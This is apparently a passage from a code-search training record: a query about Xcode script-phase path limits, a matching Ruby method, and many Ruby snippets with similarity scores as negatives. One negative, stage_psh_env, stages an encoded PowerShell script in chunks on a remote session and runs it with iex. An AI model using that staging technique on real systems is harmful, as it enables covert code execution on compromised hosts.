return unless perform_hooks?\n unless hooks.post_hooks.any?\n GitPusshuTen::Log.message \"No post deploy hooks to perform.\"\n return\n end\n \n ##\n # Connect to the remote environment and perform the post deploy hooks\n hooks.render_commands(hooks.post_hooks).each do |name, commands|\n adjusted_name = name.sub(/^\\d+\\)\\s/, '')\n \n GitPusshuTen::Log.message(\"Performing post deploy hook: #{y(adjusted_name)}\")\n standard environment.execute_as_user(\"cd '#{e.app_dir}'; #{commands}\")\n end\n end", "def update!(**args)\n @assertion = args[:assertion] if args.key?(:assertion)\n @canonical_target = args[:canonical_target] if args.key?(:canonical_target)\n @declaration = args[:declaration] if args.key?(:declaration)\n @file_path = args[:file_path] if args.key?(:file_path)\n @operations = args[:operations] if args.key?(:operations)\n @relation = args[:relation] if args.key?(:relation)\n @target = args[:target] if args.key?(:target)\n end", "def update_included_targets(id, opts = {})\n data, _status_code, _headers = update_included_targets_with_http_info(id, opts)\n return data\n end", "def run_plugins_post_integrate_hooks\n if any_plugin_post_integrate_hooks?\n context = PostIntegrateHooksContext.generate(sandbox, pods_project, pod_target_subprojects, aggregate_targets)\n HooksManager.run(:post_integrate, context, plugins)\n end\n end", "def perform_post_install_actions\n run_plugins_post_install_hooks\n warn_for_deprecations\n warn_for_installed_script_phases\n warn_for_removing_git_master_specs_repo\n print_post_install_message\n end", "def update!(**args)\n @phase = args[:phase] if args.key?(:phase)\n @type = args[:type] if args.key?(:type)\n end", "def set_translation_target(opts)\n opts = check_params(opts,[:targets])\n super(opts)\n end", "def remove_copy_resources_script_phase_from_target(native_target)\n build_phase = native_target.shell_script_build_phases.find { |bp| bp.name && bp.name.end_with?(COPY_PODS_RESOURCES_PHASE_NAME) }\n return unless build_phase.present?\n native_target.build_phases.delete(build_phase)\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def update!(**args)\n @optimization_goal_types = args[:optimization_goal_types] if args.key?(:optimization_goal_types)\n end", "def update!(**args)\n @advance_rollout_jobs = args[:advance_rollout_jobs] if args.key?(:advance_rollout_jobs)\n @create_rollout_jobs = args[:create_rollout_jobs] if args.key?(:create_rollout_jobs)\n end", "def update!(**args)\n @deploy_parameters = args[:deploy_parameters] if args.key?(:deploy_parameters)\n @profiles = args[:profiles] if args.key?(:profiles)\n @strategy = args[:strategy] if args.key?(:strategy)\n @target_id = args[:target_id] if args.key?(:target_id)\n end", "def remove()\n CCProcess.start(\"sdk-manage --target --remove '#{@name}'\", (_ :removing_target) + \" #{@name}\", 60*15)\n @@targets.delete(@name)\n end" ]
[ "0.63583726", "0.62636495", "0.5819461", "0.5693116", "0.53878206", "0.5370115", "0.53251547", "0.51669663", "0.5162826", "0.51525044", "0.5150043", "0.5125245", "0.509572", "0.5056488", "0.50558585", "0.5055266", "0.50393206", "0.50080436", "0.50064206", "0.49988577", "0.49562126", "0.4900429", "0.48959547", "0.48794037", "0.48703113", "0.4869188", "0.48641583", "0.4862647", "0.4846496", "0.48229578", "0.48209405", "0.48138338", "0.4775654", "0.47682545", "0.47550458", "0.47316143", "0.47244796", "0.47136912", "0.4681812", "0.46781334", "0.46777603", "0.46775973", "0.4674948", "0.46584737", "0.46575505", "0.46332228", "0.46315655", "0.46266916", "0.46172747", "0.4616896", "0.46041015", "0.4598795", "0.45986652", "0.4593595", "0.45836943", "0.457697", "0.45745435", "0.45710626", "0.45622307", "0.45546272", "0.45416558", "0.45403966", "0.4538781", "0.45310748", "0.4519636", "0.45196012", "0.45192873", "0.45081654", "0.45048067", "0.4504384", "0.45034656", "0.44942725", "0.44922256", "0.44896755", "0.4484179", "0.44795004", "0.44795004", "0.44684586", "0.44589376", "0.44589376", "0.44589376", "0.44589376", "0.44530147", "0.44521722", "0.44455844", "0.44242522", "0.44220915", "0.44172755", "0.44125342", "0.44117653", "0.4406001", "0.43995562", "0.4398237", "0.43971008", "0.43942344", "0.43924248", "0.43858275", "0.43831006", "0.43782204", "0.43765718" ]
0.61944157
2
Script phases can have a limited number of input and output paths due to each one being exported to `env`. A large number can cause a build failure because of limitations in `env`. See issue
def validate_input_output_path_limit(input_paths, output_paths) if (input_paths.count + output_paths.count) > MAX_INPUT_OUTPUT_PATHS input_paths.clear output_paths.clear end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_input_path_to_script_phase(script_phase, name, platform)\n input_path = \"$(SRCROOT)/#{make_carthage_build_path(name, platform)}\"\n script_phase.input_paths << input_path\nend", "def set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n if input_output_paths_use_filelist?(phase)\n [input_paths_by_config, output_paths_by_config].each do |hash|\n hash.each do |file_list, files|\n generator = Generator::FileList.new(files)\n Xcode::PodsProjectGenerator::TargetInstallerHelper.update_changed_file(generator, file_list.file_list_path)\n end\n end\n\n phase.input_paths = nil\n phase.output_paths = nil\n phase.input_file_list_paths = input_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n phase.output_file_list_paths = output_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n else\n input_paths = input_paths_by_config.values.flatten(1).uniq\n output_paths = output_paths_by_config.values.flatten(1).uniq\n TargetIntegrator.validate_input_output_path_limit(input_paths, output_paths)\n\n phase.input_paths = input_paths\n phase.output_paths = output_paths\n phase.input_file_list_paths = nil\n phase.output_file_list_paths = nil\n end\n end", "def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app. But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/bash '\n f.puts ' '\n f.puts 'function fcomp() '\n f.puts '{ '\n f.puts ' awk -v n1=$1 -v n2=$2 \\'BEGIN{ if (n1 == n2) print \"yes\"; else print \"no\"}\\' '\n f.puts '} '\n f.puts ' '\n f.puts 'function multiplyArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' mulResult=`echo $input1 $input2 | awk \\'{printf \"%d\", $1*$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function divideArgs() '\n f.puts '{ '\n f.puts ' input1=$1 '\n f.puts ' input2=$2 '\n f.puts ' divResult=`echo $input1 $input2 | awk \\'{printf \"%.2f\", $1/$2}\\' ` '\n f.puts '} '\n f.puts ' '\n f.puts 'function scaleArgs() '\n f.puts '{ '\n f.puts ' inputToken=$1 '\n f.puts ' factor=$2 '\n f.puts ' numberToken=`echo $inputToken | tr -cd [0-9] ` '\n f.puts ' argPrefix=`echo $inputToken | sed -e \\'s/m$//g\\' | tr -cd [a-zA-Z-+:=] ` '\n f.puts ' multiplyArgs $numberToken $factor '\n f.puts ' # Result saved in mulResult variable '\n f.puts ' scaled_number=$mulResult '\n f.puts ' scaled_token=${argPrefix}${scaled_number}m '\n f.puts '} '\n f.puts ' '\n f.puts '# There are 5 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s /home/vcap/app /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n end\n end", "def snap_get_script_phases_with_codegen_discovery_with_config_file_dir()\n return <<~EOS\n pushd \"$PODS_ROOT/../\" > /dev/null\n RCT_SCRIPT_POD_INSTALLATION_ROOT=$(pwd)\n popd >/dev/null\n\n export RCT_SCRIPT_RN_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/../..\n export RCT_SCRIPT_APP_PATH=$RCT_SCRIPT_POD_INSTALLATION_ROOT/\n export RCT_SCRIPT_CONFIG_FILE_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/node_modules\n export RCT_SCRIPT_OUTPUT_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT\n export RCT_SCRIPT_FABRIC_ENABLED=true\n export RCT_SCRIPT_TYPE=withCodegenDiscovery\n\n SCRIPT_PHASES_SCRIPT=\"$RCT_SCRIPT_RN_DIR/scripts/react_native_pods_utils/script_phases.sh\"\n WITH_ENVIRONMENT=\"$RCT_SCRIPT_RN_DIR/scripts/xcode/with-environment.sh\"\n /bin/sh -c \"$WITH_ENVIRONMENT $SCRIPT_PHASES_SCRIPT\"\n EOS\nend", "def output_path\n \"build\"\n end", "def setup_run_artifacts\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_logs\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_report\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_results\")\n FileUtils.mkdir_p(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_screenshots\") unless File.exist?(\"./#{Dir.glob(\"#{$VALUE}/\").max_by { |f| File.mtime(f) }}test_screenshots\")\nend", "def setup_path\n # The Java Buildpack for WLS creates the complete domain structure and other linkages during staging.\n # The directory used for staging is at /tmp/staged/app\n # But the actual DEA execution occurs at /home/vcap/app. This discrepancy can result in broken paths and non-startup of the server.\n # So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution\n # Also, this script needs to be invoked before starting the server as it will create the links and also tweak the server args\n # (to listen on correct port, use user supplied jvm args)\n\n File.open(@application.root.to_s + '/' + SETUP_ENV_SCRIPT, 'w') do |f|\n\n f.puts '#!/bin/sh '\n f.puts '# There are 4 things handled by this script '\n f.puts ' '\n f.puts '# 1. Create links to mimic staging env and update scripts with jvm options '\n f.puts '# The Java Buildpack for WLS creates complete domain structure and other linkages during staging at '\n f.puts '# /tmp/staged/app location '\n f.puts '# But the actual DEA execution occurs at /home/vcap/app. '\n f.puts '# This discrepancy can result in broken paths and non-startup of the server. '\n f.puts '# So create linkage from /tmp/staged/app to actual environment of /home/vcap/app when things run in real execution '\n f.puts '# Create paths that match the staging env, as otherwise scripts will break!! '\n f.puts ' '\n f.puts 'if [ ! -d \\\"/tmp/staged\\\" ]; then '\n f.puts ' /bin/mkdir /tmp/staged '\n f.puts 'fi; '\n f.puts 'if [ ! -d \\\"/tmp/staged/app\\\" ]; then '\n f.puts ' /bin/ln -s `pwd` /tmp/staged/app '\n f.puts 'fi; '\n f.puts ' '\n f.puts ' '\n end\n end", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def make(args)\n # Maybe we should write an \"uncrustify\" fastlane action?...\n Dir.chdir '..' do\n sh 'make ' + args\n end\nend", "def get_sourcemap_args\n # The cwd is /fastlane. I don't know why entry_file doesn't need to be ../, but\n # I believe that watchman finds the project root and automatically looks there\n case lane_context[:PLATFORM_NAME]\n when :android\n platform = 'android'\n entry_file = 'index.js'\n bundle_output = '../android-release.bundle'\n sourcemap_output = '../android-release.bundle.map'\n bundle_url = 'index.android.bundle'\n when :ios\n platform = 'ios'\n entry_file = 'index.js'\n bundle_output = '../ios-release.bundle'\n sourcemap_output = '../ios-release.bundle.map'\n bundle_url = 'main.jsbundle'\n end\n\n {\n platform: platform,\n entry_file: entry_file,\n bundle_output: bundle_output,\n sourcemap_output: sourcemap_output,\n bundle_url: bundle_url,\n }\nend", "def build_environment(env, env_yaml, platform)\n # substitute vcenter resources from vcenter.yml for location defined in environment file\n env_yaml['vcenter'] = platform.vcenter[env_yaml['vcenter']]\n # merge component resources from environment file and platform definition\n # platform info will be inserted where not found in env files, env overrides will be unchanged\n #\n # Note: this function does not do error checking for components that exist in env file but\n # not in Platform definition. Such files will be retained but not have any Platform\n # component info. The Build command will run error checking before building, but to support\n # the debugging value of the list command only hash.merge! is performed at this point.\n platform.components.each do |component, _config|\n env_yaml['components'][component].merge!(platform.components[component]) { |_key, v1, _v2| v1 } unless env_yaml['components'][component].nil?\n end\n # substitute network and components for specified values from platform definition files\n env_yaml['components'].each do |component, _config|\n env_yaml['components'][component]['network'] = platform.network[env_yaml['components'][component]['network']]\n env_yaml['components'][component]['compute'] = platform.compute[env_yaml['components'][component]['compute']]\n unless env_yaml['components'][component]['runlist'].nil?\n env_yaml['components'][component]['runlist'] = run_list(env_yaml['components'][component]['runlist'], env_yaml['components'][component]['componentrole'], component)\n end\n end\n unless env_yaml['vcenter'].nil?\n # append env name to destination folder if appendenv == true\n env_yaml['vcenter']['destfolder'] += (env_yaml['vcenter']['appendenv'] ? '/' + env.to_s : '')\n # prepend app name to domain if appenddomain == true\n env_yaml['vcenter']['appenddomain'] ? env_yaml['vcenter']['domain'] = '.' + platform.name + '.' + env_yaml['vcenter']['domain'] : ''\n end\n env_yaml\n end", "def lookup_build_vars(cmp)\n cmp_src_path = component_src_path cmp\n cmp_build_path = component_build_path cmp\n cmp_build_bin = component_build_bin cmp\n build_vars = {}\n build_vars['BUILDER_BIN'] = cmp_build_bin\n build_vars['BUILDER_FILES'] = Array.new\n build_vars['PACKAGE_VERSIONS'] = {}\n build_vars['HAS_HADOOP'] = false\n build_vars['HAS_SPARK'] = false\n build_vars['BUILDER_CMDS'] = Array.new\n build_vars['BUILDER_FULL_CMDS'] = Array.new\n build_vars['TEST_FULL_CMDS'] = Array.new\n\n if File.executable?(cmp_src_path)\n ::Dir.chdir(cmp_src_path) do\n mvn_versions = lookup_maven_pom(cmp_src_path)\n if not mvn_versions.empty?\n # Maven build (for Java code)\n setup_maven_build_targets(cmp, build_vars)\n\n else\n # SBT build (for Scala code)\n setup_sbt_build_targets(cmp, build_vars)\n end\n end\n end\n build_vars\nend", "def create_or_update_user_script_phases(script_phases, native_target)\n script_phase_names = script_phases.map { |k| k[:name] }\n # Delete script phases no longer present in the target.\n native_target_script_phases = native_target.shell_script_build_phases.select do |bp|\n !bp.name.nil? && bp.name.start_with?(USER_BUILD_PHASE_PREFIX)\n end\n native_target_script_phases.each do |script_phase|\n script_phase_name_without_prefix = script_phase.name.sub(USER_BUILD_PHASE_PREFIX, '')\n unless script_phase_names.include?(script_phase_name_without_prefix)\n native_target.build_phases.delete(script_phase)\n end\n end\n # Create or update the ones that are expected to be.\n script_phases.each do |script_phase|\n name_with_prefix = USER_BUILD_PHASE_PREFIX + script_phase[:name]\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, name_with_prefix, nil)\n phase.shell_script = script_phase[:script]\n phase.shell_path = script_phase[:shell_path] || '/bin/sh'\n phase.input_paths = script_phase[:input_files]\n phase.output_paths = script_phase[:output_files]\n phase.input_file_list_paths = script_phase[:input_file_lists]\n phase.output_file_list_paths = script_phase[:output_file_lists]\n phase.dependency_file = script_phase[:dependency_file]\n # At least with Xcode 10 `showEnvVarsInLog` is *NOT* set to any value even if it's checked and it only\n # gets set to '0' if the user has explicitly disabled this.\n if (show_env_vars_in_log = script_phase.fetch(:show_env_vars_in_log, '1')) == '0'\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n\n execution_position = script_phase[:execution_position]\n reorder_script_phase(native_target, phase, execution_position)\n end\n end", "def to_args\n args = [\n \"--name \\\"#{name}\\\"\",\n \"--version \\\"#{version}\\\"\",\n \"--user \\\"#{user}\\\"\",\n \"--group \\\"#{group}\\\"\",\n \"--iteration \\\"#{iteration}\\\"\",\n \"--homepage \\\"#{homepage}\\\"\",\n \"--home \\\"#{home}\\\"\",\n \"--architecture \\\"#{architecture}\\\"\",\n \"--description \\\"#{description}\\\"\",\n \"--maintainer \\\"#{maintainer}\\\"\",\n \"--vendor \\\"#{vendor}\\\"\"\n ]\n args.push \"--dependencies #{dependencies.map{|d| \"\\\"#{d}\\\"\"}.join}\" unless dependencies.nil? || dependencies.empty?\n args.push \"--build-dependencies #{build_dependencies.map{|d| \"\\\"#{d}\\\"\"}.join}\" unless build_dependencies.nil? || build_dependencies.empty?\n args.push \"--compile-cache-dir \\\"#{compile_cache_dir}\\\"\" unless compile_cache_dir.nil? || compile_cache_dir.empty?\n args.push \"--before-precompile \\\"#{before_precompile}\\\"\" unless before_precompile.nil? || before_precompile.empty?\n args.push \"--after-precompile \\\"#{after_precompile}\\\"\" unless after_precompile.nil? || after_precompile.empty?\n args.push \"--before-install \\\"#{before_install}\\\"\" unless before_install.nil? || before_install.empty?\n args.push \"--after-install \\\"#{after_install}\\\"\" unless after_install.nil? || after_install.empty?\n args.push \"--before-remove \\\"#{before_remove}\\\"\" unless before_remove.nil? || before_remove.empty?\n args.push \"--after-remove \\\"#{after_remove}\\\"\" unless after_remove.nil? || after_remove.empty?\n\n args.push \"--license \\\"#{license}\\\"\" unless license.nil? || license.empty?\n args.push \"--buildpack \\\"#{buildpack}\\\"\" unless buildpack.nil? || buildpack.empty?\n args.push \"--buildpack_list \\\"#{buildpack_list}\\\"\" unless buildpack_list.nil? || buildpack_list.empty?\n args.push \"--force-os \\\"#{force_os}\\\"\" unless force_os.nil? || force_os.empty?\n args.push \"--runner \\\"#{runner}\\\"\" unless runner.nil? || runner.empty?\n args.push \"--logrotate-frequency \\\"#{logrotate_frequency}\\\"\" unless logrotate_frequency.nil? || logrotate_frequency.empty?\n args.push \"--logrotate-backlog \\\"#{logrotate_backlog}\\\"\" unless logrotate_backlog.nil?\n args.push \"--env #{env.variables.map{|v| \"\\\"#{v}\\\"\"}.join(\" \")}\" if env.present?\n args.push \"--auto\" if auto\n args.push \"--verbose\" if verbose\n args.push \"--store-cache\" if store_cache\n args.push \"--debug\" if debug\n args.push \"--verify\" if verify\n args.push \"--no-clean\" if !clean\n args.push \"--no-edge\" if !edge\n args.push \"--tmpdir\" if !tmpdir\n args\n end", "def resource_output_paths(resource_input_paths)\n resource_input_paths.map do |resource_input_path|\n base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}'\n extname = File.extname(resource_input_path)\n basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path)\n output_extension = Target.output_extension_for_resource(extname)\n File.join(base_path, File.basename(basename, extname) + output_extension)\n end.uniq\n end", "def parse_args\n require 'optimist'\n opts = Optimist.options do\n opt :source, \"Inventory Source UID\", :type => :string, :required => ENV[\"SOURCE_UID\"].nil?, :default => ENV[\"SOURCE_UID\"]\n opt :ingress_api, \"Hostname of the ingress-api route\", :type => :string, :default => ENV[\"INGRESS_API\"] || \"http://localhost:9292\"\n opt :config, \"Configuration file name\", :type => :string, :default => ENV[\"CONFIG\"] || \"default\"\n opt :data, \"Amount & custom values of generated items\", :type => :string, :default => ENV[\"DATA\"] || \"default\"\n end\n\n opts\nend", "def test_compile_bundle_artifacts_path_with_spaces\n skip(\"only necessary to test on Windows\") unless Gem.win_platform?\n old_tempdir = @tempdir\n old_output_dir = @output_dir\n\n old_tmp = ENV[\"TMP\"]\n old_temp = ENV[\"TEMP\"]\n old_tmpdir = ENV[\"TMPDIR\"]\n\n # We want to make sure Dir.tmpdir returns the path containing \"DIRWIT~1\"\n # so that we're testing whether the compiler expands the path properly. To\n # do this, \"dir with spaces\" must not be the last path component.\n #\n # This is because Dir.tmpdir calls File.expand_path on ENV[TMPDIR] (or\n # ENV[TEMP], etc.). When \"DIRWIT~1\" is the last component,\n # File.expand_path will expand this to \"dir with spaces\". When it's not\n # the last component, it will leave \"DIRWIT~1\" as-is.\n @tempdir = File.join(@tempdir, \"dir with spaces\", \"tmp\")\n FileUtils.mkdir_p(@tempdir)\n @tempdir = File.join(old_tempdir, \"DIRWIT~1\", \"tmp\")\n\n @output_dir = File.join(@tempdir, \"output\")\n FileUtils.mkdir_p(@output_dir)\n\n [\"TMP\", \"TEMP\", \"TMPDIR\"].each { |varname| ENV[varname] = @tempdir }\n\n util_reset_arch\n\n artifact = \"foo.#{RbConfig::CONFIG[\"DLEXT\"]}\"\n\n gem_file = util_bake_gem(\"foo\") { |s|\n util_fake_extension s, \"foo\", util_custom_configure(artifact)\n }\n\n compiler = Gem::Compiler.new(gem_file, :output => @output_dir)\n output_gem = nil\n\n use_ui @ui do\n output_gem = compiler.compile\n end\n\n assert_path_exists File.join(@output_dir, output_gem)\n spec = util_read_spec File.join(@output_dir, output_gem)\n\n assert_includes spec.files, \"lib/#{artifact}\"\n ensure\n if Gem.win_platform?\n FileUtils.rm_rf @tempdir\n\n ENV[\"TMP\"] = old_tmp\n ENV[\"TEMP\"] = old_temp\n ENV[\"TMPDIR\"] = old_tmpdir\n\n @tempdir = old_tempdir\n @output_dir = old_output_dir\n end\n end", "def exe_path\n # Add any standard cmd line arguments we need to pass\n @exe_path << \" --input=html --server --log=#{log_file} \"\n @exe_path << @cmd_args\n @exe_path << @style_sheets\n return @exe_path\n end", "def localPath(taskName)\n self.pipeline.pipe_root + \"/build/prod/\" + taskName\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def collect_args\n Optimist.options do\n opt(\n :work_dir,\n 'REQUIRED: Specify your work/build directory, where the SQLite and .csv files will be built',\n type: :string, required: true, short: '-w'\n )\n opt(\n :country,\n 'Specify the country code for processing, or all countries if not specified',\n type: :string, required: false, short: '-f'\n )\n opt(\n :generate_files,\n 'Generate CSV files: [counties.csv, states.csv, countries.csv, zipcodes.csv]',\n type: :boolean, required: false, short: '-g', default: false\n )\n opt(\n :country_tablename,\n 'Specify the name for the `countries` table',\n type: :string, required: false, default: 'countries'\n )\n opt(\n :state_tablename,\n 'Specify the name for the `states` table',\n type: :string, required: false, default: 'states'\n )\n opt(\n :county_tablename,\n 'Specify the name for the `counties` table',\n type: :string, required: false, default: 'counties'\n )\n opt(\n :zipcode_tablename,\n 'Specify the name for the `zipcodes` table',\n type: :string, required: false, default: 'zipcodes'\n )\n opt(\n :clobber,\n 'Overwrite existing files',\n type: :boolean, required: false, short: '-c', default: false\n )\n opt(\n :dry_run,\n 'Do not actually move or copy files',\n type: :boolean, required: false, short: '-d',\n default: false\n )\n opt(\n :verbose,\n 'Be verbose with output',\n type: :boolean, required: false, short: '-v',\n default: false\n )\n end\n end", "def exe_path\n # Add any standard cmd line arguments we need to pass\n @exe_path << \" --input=html --server --log='#{log_file}' \"\n @exe_path << @cmd_args\n @exe_path << @style_sheets\n return @exe_path\n end", "def export_env(script)\n environment = script.job_environment\n (environment ? environment : {}).tap{\n |hsh|\n hsh['SINGULARITY_BINDPATH'] = singularity_bindpath(script.native)\n }.map{\n |key, value| \"export #{key}=#{Shellwords.escape(value)}\"\n }.sort.join(\"\\n\")\n end", "def output_path; end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def args(args = [])\n args << \"--out=#{::File.basename(r.path)}\"\n args << \"--dir=#{::File.dirname(r.path)}\"\n args << \"--checksum=sha-256=#{r.checksum}\" if r.checksum\n args << \"--header='#{r.header}'\" if r.header\n args << \"--check-certificate=#{r.check_cert}\"\n args << \"--file-allocation=falloc\"\n args << \"--max-connection-per-server=#{r.connections}\"\n args << r.source\n end", "def configure_phase\n self.project.targets.each do |target|\n begin\n phase = target.sources_build_phase\n next unless phase\n rescue NoMethodError\n next\n end\n\n \n bundle = target.copy_bundle_recources\n\n # remove zombie build files\n phase.files_references.each do |file|\n begin\n file.real_path\n rescue\n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n end\n \n # remove zombie bundle files\n bundle.files_references.each do |file|\n begin\n file.real_path\n rescue\n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file\n end\n end\n end\n\n removings = [] # name of seeds going to be removed from the target\n addings = [] # name of seeds going to be added to the target\n\n self.targets.keys.sort.each do |seed_name|\n target_names = self.targets[seed_name]\n if not target_names.include?(target.name)\n removings << seed_name if not removings.include?(seed_name)\n else\n addings << seed_name if not addings.include?(seed_name)\n end\n end\n\n\n self.file_references.each do |file|\n\n removings.each do |seed_names|\n next if not seed_names.include?(file.parent.name)\n \n bundle.files.each do |bundle_file|\n bundle.files.delete(bundle_file) if bundle_file.file_ref == file \n end\n \n phase.files.each do |build_file|\n phase.files.delete(build_file) if build_file.file_ref == file\n end\n end\n\n addings.each do |seed_names|\n next if file.name.end_with? \".h\"\n next if not seed_names.include?(file.parent.name)\n uuid = Xcodeproj::uuid_with_name \"#{target.name}:#{file.name}\"\n \n if self.seeds[seed_names].resources.any? { |s| file.name.end_with? s }\n bundle.add_file_reference_with_uuid(file, uuid, true)\n else \n phase.add_file_reference_with_uuid(file, uuid, true)\n end\n\n end\n end\n end\n end", "def stage_psh_env(script)\n begin\n ps_script = read_script(script)\n encoded_expression = encode_script(ps_script)\n cleanup_commands = []\n # Add entropy to script variable names\n script_var = ps_script.rig.generate(4)\n decscript = ps_script.rig.generate(4)\n scriptby = ps_script.rig.generate(4)\n scriptbybase = ps_script.rig.generate(4)\n scriptbybasefull = ps_script.rig.generate(4)\n\n if encoded_expression.size > 14999\n print_error \"Script size: #{encoded_expression.size} This script requires a stager\"\n arr = encoded_expression.chars.each_slice(14999).map(&:join)\n print_good \"Loading #{arr.count} chunks into the stager.\"\n vararray = []\n arr.each_with_index do |slice, index|\n variable = ps_script.rig.generate(5)\n vararray << variable\n indexval = index + 1\n vprint_good \"Loaded stage:#{indexval}\"\n session.shell_command(\"$#{variable} = \\\"#{slice}\\\"\")\n cleanup_commands << \"Remove-Variable #{variable} -EA 0\"\n end\n\n linkvars = ''\n vararray.each { |var| linkvars << \" + $#{var}\" }\n linkvars.slice!(0..2)\n session.shell_command(\"$#{script_var} = #{linkvars}\")\n\n else\n print_good \"Script size: #{encoded_expression.size}\"\n session.shell_command(\"$#{script_var} = \\\"#{encoded_expression}\\\"\")\n end\n\n session.shell_command(\"$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))\")\n session.shell_command(\"$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\\\"$#{decscript}\\\")\")\n session.shell_command(\"$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) \")\n session.shell_command(\"$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))\")\n session.shell_command(\"([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex\")\n print_good \"Module loaded\"\n\n unless cleanup_commands.empty?\n vprint_good \"Cleaning up #{cleanup_commands.count} stager variables\"\n session.shell_command(cleanup_commands.join(';').to_s)\n end\n rescue Errno::EISDIR => e\n vprint_error \"Unable to upload script: #{e.message}\"\n end\n end", "def ebin_dirs\n Dir[File.dirname(__FILE__) + \"/ebin\"] +\n Dir[File.dirname(__FILE__) + \"/**/deps/**/ebin\"] +\n Dir[File.dirname(__FILE__) + \"/test/ebin\"]\nend", "def configure_data\n [:bitcask, :eleveldb, :merge_index].each {|k| env[k] ||= {} }\n env[:bitcask][:data_root] ||= (data + 'bitcask').expand_path.to_s\n env[:eleveldb][:data_root] ||= (data + 'leveldb').expand_path.to_s\n env[:merge_index][:data_root] ||= (data + 'merge_index').expand_path.to_s\n env[:riak_core][:slide_private_dir] ||= (data + 'slide-data').expand_path.to_s\n env[:riak_core][:ring_state_dir] ||= (data + 'ring').expand_path.to_s\n\n TS_NODE_DIRECTORIES.each do |dir|\n env[:riak_core][:\"platform_#{dir}_dir\"] ||= send(dir).to_s\n end\n end", "def build_vars\n\n end", "def to_shellwords\n argv = []\n argv << %[--autopath] if autopath?\n argv << %[--verbose] if verbose?\n argv << %[--format=\"#{format}\"] if format\n argv << %[--chdir=\"#{chdir}\"] if chdir\n argv << %[--tags=\"#{tags.join(';')}\"] unless tags.empty?\n argv << %[--match=\"#{match.join(';')}\"] unless match.empty?\n argv << %[--units=\"#{units.join(';')}\"] unless units.empty?\n argv << %[--loadpath=\"#{loadpath.join(';')}\"] unless loadpath.empty?\n argv << %[--requires=\"#{requires.join(';')}\"] unless requires.empty?\n argv << files.join(' ') unless files.empty?\n argv\n end", "def input_path\n path = ENV['input_path']\n check_path!(path)\n path\n end", "def step2d_sources(path)\n return [\"tmp/#{path.pathmap('%n').pathmap('%n')}.step2a\", 'tmp/step2b.trace']\nend", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && 